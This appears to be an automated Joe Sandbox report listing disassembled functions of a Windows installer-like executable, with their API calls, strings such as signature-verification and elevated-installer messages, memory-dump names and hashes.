..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length, xrefs: 008B0A3C
Error (0x%lX) while retrieving error. (0x%lX), xrefs: 008B0A7B

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID: (0x%lX)$..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$Error (0x%lX) while retrieving error. (0x%lX)
API String ID: 1365068426-2802836808
Opcode ID: 1584adc09b2c134a77bdab71d08e31c15fdc01ca0c0636eedf8f71b80406a3ad
Instruction ID: 25d534f37e499b5553e1e4156c2385cd32d1c500950b83fe840c613bd47519a0
Opcode Fuzzy Hash: 1584adc09b2c134a77bdab71d08e31c15fdc01ca0c0636eedf8f71b80406a3ad
Instruction Fuzzy Hash: FA41A3B1E04329AEDF009BA4CC45AFFBB78FF85704F044425F905F6252D730AA458BA2

Function 0092E290 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(00001000,00000000,0092E400,00000409,?,00000400,00000000), ref: 0092E2DA
GetModuleHandleW.KERNEL32(wininet.dll), ref: 0092E308
FormatMessageW.KERNEL32(00000800,00000000,0092E400,00000409,?,00000400,00000000), ref: 0092E326
GetModuleHandleW.KERNEL32(urlmon.dll), ref: 0092E335
FormatMessageW.KERNEL32(00000800,00000000,0092E400,00000409,?,00000400,00000000), ref: 0092E353

Strings

urlmon.dll, xrefs: 0092E330
unknown error 0x, xrefs: 0092E371
wininet.dll, xrefs: 0092E303

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: FormatMessage$HandleModule
String ID: unknown error 0x$urlmon.dll$wininet.dll
API String ID: 1246395562-2593042846
Opcode ID: 5b9abc322bcf2eba12c21dee529d9997df70933548f2c3a6337342f717c0f3ad
Instruction ID: 17f1e5e0c13562c9a5c117e307bf86686d80a2a0fdbc41def4af55e5dfb9f9f6
Opcode Fuzzy Hash: 5b9abc322bcf2eba12c21dee529d9997df70933548f2c3a6337342f717c0f3ad
Instruction Fuzzy Hash: 423127B07443187EEB106B61AC4AFBB366DEF80B45F088424F646AA1C1DFB09C408BE5

Function 008E4460 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 106COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?), ref: 008E449C
IsWow64Process.KERNEL32(00000000), ref: 008E44A4

Strings

mit, xrefs: 008E455C
, xrefs: 008E451C
OutOfMemory, xrefs: 008E45BA
size, xrefs: 008E457C
partition_root.cc, xrefs: 008E45B5
ize, xrefs: 008E44F6

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Process$CurrentWow64
String ID: $OutOfMemory$ize$mit$partition_root.cc$size
API String ID: 1905925150-2901852355
Opcode ID: cf5c6400c8bfb6c7d029d8b4f441c923a28cb51235681cb6aea63433a57f0e04
Instruction ID: 5624b7d33f514a41fdfb5b57f9f4e530b6927c34f4afbe53954c50c75ba54ba3
Opcode Fuzzy Hash: cf5c6400c8bfb6c7d029d8b4f441c923a28cb51235681cb6aea63433a57f0e04
Instruction Fuzzy Hash: D0417DB49103409FD7049F29D889956BBE8FF8A308B19C46DE54DCB322D772D905CB92

Function 008488E0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?), ref: 00848903
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 00848925
GetLastError.KERNEL32 ref: 00848934
GetExitCodeProcess.KERNEL32(?,00000000), ref: 008489AC
GetLastError.KERNEL32 ref: 008489BE

Strings

The elevated installer was terminated due to stop event., xrefs: 00848969
RunModule, xrefs: 00848954, 008489DE
Failed to get exit code of the elevated installer., xrefs: 008489F3

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast$CodeEventExitMultipleObjectsProcessWait
String ID: Failed to get exit code of the elevated installer.$RunModule$The elevated installer was terminated due to stop event.
API String ID: 3441567390-426593179
Opcode ID: 0300cf8c979effec312d1236d2606caa411bef8a41f7570691d1b5287713d754
Instruction ID: 77b63323d2884c15357eb7d8fffb3437c024436a5ab5b721da3b92f677a6c1d8
Opcode Fuzzy Hash: 0300cf8c979effec312d1236d2606caa411bef8a41f7570691d1b5287713d754
Instruction Fuzzy Hash: B73107B1608305AFDB10AB74DC46B2E7FA9FF80B14F004528F959D61D2DB70A905CB93

Function 008BC9F0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

SetDllDirectoryW.KERNEL32(0094335A), ref: 008BCA04
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00832E5D,?), ref: 008BCA16
GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 008BCA1E
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00832E5D,?), ref: 008BCA27
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 008BCA2F

Strings

kernel32.dll, xrefs: 008BCA0A, 008BCA15, 008BCA26
SetDefaultDllDirectories, xrefs: 008BCA29
SetSearchPathMode, xrefs: 008BCA18

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AddressHandleModuleProc$Directory
String ID: SetDefaultDllDirectories$SetSearchPathMode$kernel32.dll
API String ID: 3179712393-4265898095
Opcode ID: 6077474048a8e2fd4d771747a09dca327bd8bde629da7d24c32e819c2fe483a9
Instruction ID: cf3f387ddad35c1a3395e392148aa27ab7bd4c8711d58551a045004ae4bbb28c
Opcode Fuzzy Hash: 6077474048a8e2fd4d771747a09dca327bd8bde629da7d24c32e819c2fe483a9
Instruction Fuzzy Hash: 7601D6723543186BE7006B76AC48F7E3B98FB85BAAF140161F905C6290CE658C015BA9

Function 00914D20 Relevance: 13.8, APIs: 9, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00915125: CreateFileW.KERNEL32(00000000,00000000,?,00914DC9,?,?,00000000,?,00914DC9,00000000,0000000C), ref: 00915142

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00914E34
__dosmaperr.LIBCMT ref: 00914E3B
GetFileType.KERNEL32(00000000), ref: 00914E47
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00914E51
__dosmaperr.LIBCMT ref: 00914E5A
CloseHandle.KERNEL32(00000000), ref: 00914E7A
CloseHandle.KERNEL32(00000000), ref: 00914FC7
GetLastError.KERNEL32 ref: 00914FF9
__dosmaperr.LIBCMT ref: 00915000

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 548b6e60df30f0002e1a12c4dd90cfeeb1cfbb451e2c0a0824c4f1758daa5187
Instruction ID: 9b1ebf262658c4eb897b4d9fc56c96720da5d7c6e642dde7f55a992e69c41b87
Opcode Fuzzy Hash: 548b6e60df30f0002e1a12c4dd90cfeeb1cfbb451e2c0a0824c4f1758daa5187
Instruction Fuzzy Hash: 91A12432B146589FCF19AF68DC91BED3BA5AB4A310F15014DF8129F391CB349C92DB92

Function 0089C760 Relevance: 13.6, APIs: 9, Instructions: 72synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,009659FC), ref: 0089C77E
TerminateProcess.KERNEL32(10CDDB50,?,?,?,?,?,009659FC), ref: 0089C786
GetCurrentProcess.KERNEL32 ref: 0089C79C
WaitForSingleObject.KERNEL32(00000000,0000EA60), ref: 0089C7A8
GetLastError.KERNEL32(?,?,?,?,009659FC), ref: 0089C7DA
GetCurrentProcess.KERNEL32(?,?,?,?,009659FC), ref: 0089C7E6
WaitForSingleObject.KERNEL32(00000000,0000EA60,?,?,?,?,009659FC), ref: 0089C7F2
GetCurrentProcess.KERNEL32 ref: 0089C811
GetExitCodeProcess.KERNEL32(00000000,FFFFFFFF), ref: 0089C81C

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Process$Current$ObjectSingleWait$CodeErrorExitLastTerminate
String ID:
API String ID: 2432511979-0
Opcode ID: 6201d13161c135e1101a1aea3316fb57a073be6d5a63693fa95dd8f8b0dc25d2
Instruction ID: ee22c31e2664ce0116eb04ba242ba5bcd4ea29683d1913831023687277a0366e
Opcode Fuzzy Hash: 6201d13161c135e1101a1aea3316fb57a073be6d5a63693fa95dd8f8b0dc25d2
Instruction Fuzzy Hash: B621A131628345AFDF20ABB9D84DB6A7BA8FB41315F1C441CE542E7190CB71AC44EB61

Function 0596407C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0596419B
___TypeMatch.LIBVCRUNTIME ref: 059642A9
_UnwindNestedFrames.LIBCMT ref: 059643FB
CallUnexpected.LIBVCRUNTIME ref: 05964416

Strings

csm, xrefs: 059641D2
csm, xrefs: 05964126
csm, xrefs: 059640B9

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 62dc14c9642295cfc16ee66ddccea7482022f5ae7c18d6e8dad1d549550cdca0
Instruction ID: ea65f8a63bedebc78adeca805374c1d7c1874293571d50b0a3c50bed1eb844b9
Opcode Fuzzy Hash: 62dc14c9642295cfc16ee66ddccea7482022f5ae7c18d6e8dad1d549550cdca0
Instruction Fuzzy Hash: 57B19971900209EFCF18DFE4CAC4DAEBBBAFF54310B15456AE8196B211D331EA59CB91

Function 0091C968 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0091CA87
CatchIt.LIBVCRUNTIME ref: 0091CBE6
_UnwindNestedFrames.LIBCMT ref: 0091CCE7
CallUnexpected.LIBVCRUNTIME ref: 0091CD02

Strings

csm, xrefs: 0091CABE
csm, xrefs: 0091CA12
csm, xrefs: 0091C9A5

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: CallCatchFramesNestedUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2332921423-393685449
Opcode ID: 8bbff115b49f08ff8b236fa401ad3b41212c4f27201f9c66bd31f58dd4c32554
Instruction ID: f572af10150d8134a2299514b3f959732a6f6d51578a36072e2fac67541bb4df
Opcode Fuzzy Hash: 8bbff115b49f08ff8b236fa401ad3b41212c4f27201f9c66bd31f58dd4c32554
Instruction Fuzzy Hash: 7AB158B1A8020DEFCF15DFA4C881AEEBBB9BF44310F14455AE8156B252D731DEA1CB91

Function 0089AF80 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 261COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000001,?,?,?,?,?,?,?,?,?,00000000), ref: 0089B0E2

Strings

UBR, xrefs: 0089B1A4
DisplayVersion, xrefs: 0089B1B4
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 0089B2B1
ReleaseId, xrefs: 0089B1D8
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0089AFF7
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 0089B2B8

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: CurrentProcess
String ID: ..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$DisplayVersion$ReleaseId$SOFTWARE\Microsoft\Windows NT\CurrentVersion$UBR
API String ID: 2050909247-1119468976
Opcode ID: a11b630a673c0fb8795fdd1753f913436e0b17984d0c9183485f60dda0903942
Instruction ID: 00b479a6d8311d5fda5157f682d358739a74c09f75c74939dedaa48c69372a40
Opcode Fuzzy Hash: a11b630a673c0fb8795fdd1753f913436e0b17984d0c9183485f60dda0903942
Instruction Fuzzy Hash: 4FA1C170A007098FDF24EFA4E5946AEBBF1FF89304F18452EE846DB641E770A985CB51

Function 008CE750 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 205COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 008CE82C
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 008CE8C8

Strings

win_clang_x, xrefs: 008CEBEF
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008CEE47
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008CEE4E
MZx, xrefs: 008CE873

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Directory$SystemWindows
String ID: ..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$MZx$win_clang_x
API String ID: 1773879505-3272112235
Opcode ID: 7c782ece237e3b97b690ae46e6a8c916fdd24b30788233803ff7d98f7798232f
Instruction ID: 81b21506961a8037c8dbff4b06e25d8b09a943a2e66e16ea827b0131a4c8125b
Opcode Fuzzy Hash: 7c782ece237e3b97b690ae46e6a8c916fdd24b30788233803ff7d98f7798232f
Instruction Fuzzy Hash: F661A771A002289BDB11AB149C86BFE7775FF94704F004099F905E7241DB70AF89DBE2

Function 008948E0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

__Init_thread_header.LIBCMT ref: 00894981

Strings

rday, xrefs: 00894AE6
Tuesday, xrefs: 00894A35
Friday, xrefs: 00894AC1
Monday, xrefs: 00894A07
Sunday, xrefs: 008949D7

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Init_thread_header
String ID: Friday$Monday$Sunday$Tuesday$rday
API String ID: 3738618077-4029317968
Opcode ID: 9ad4380d291d162ec726cf0b75bcc5958dae9a7593ccfc888b62f39c0092e32a
Instruction ID: 1ca1a08f521ec3fbc9a810bcaa41566540e1838ff95fcad1d9808799489a5158
Opcode Fuzzy Hash: 9ad4380d291d162ec726cf0b75bcc5958dae9a7593ccfc888b62f39c0092e32a
Instruction Fuzzy Hash: 189135B052CA80CEDB159B18E968F153FA0F712B48F1A919CD0958F3B2C3F59849EB56

Function 00858E60 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 137fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00858EA4
GetFileSize.KERNEL32(00000000,00000000), ref: 00858EBA
ReadFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 00858F0B
CloseHandle.KERNEL32(00000000), ref: 00858FA4

Strings

..\..\third_party\libc++\src\include\vector:1393: assertion __n < size() failed: vector[] index out of bounds, xrefs: 00858FCD
..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at, xrefs: 00858FBE
..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at, xrefs: 00858FDC

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: File$CloseCreateHandleReadSize
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at$..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at$..\..\third_party\libc++\src\include\vector:1393: assertion __n < size() failed: vector[] index out of bounds
API String ID: 3919263394-2095639689
Opcode ID: 9423188520faedd0347a32bd7e8a28b85a0e902ae770730b53e8cd69a8d824d9
Instruction ID: ef23ec0b042f08de832bab634e488b31cfe4bd4c4523bbb8a78bbfbb36ed0d65
Opcode Fuzzy Hash: 9423188520faedd0347a32bd7e8a28b85a0e902ae770730b53e8cd69a8d824d9
Instruction Fuzzy Hash: 0641F370A04349DFCB109F74C885AAEBBA6FF99315F24421AF805F7251EF709988C791

Function 008C4380 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 186COMMON

Download Yara Rule

APIs

Part of subcall function 0089E270: GetFileAttributesW.KERNEL32(?,?,00000000), ref: 0089E2CD

GetLastError.KERNEL32 ref: 008C4465
GetLastError.KERNEL32 ref: 008C4469

Strings

filepath=, xrefs: 008C44E7, 008C45BF
Failed to CryptQueryObject, gle=, xrefs: 008C4570
Failed to CryptMsgGetAndVerifySigner, gle=, xrefs: 008C4498
VerifyFileSigner, xrefs: 008C4483, 008C455B

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast$AttributesFile
String ID: filepath=$Failed to CryptMsgGetAndVerifySigner, gle=$Failed to CryptQueryObject, gle=$VerifyFileSigner
API String ID: 2642427456-589752536
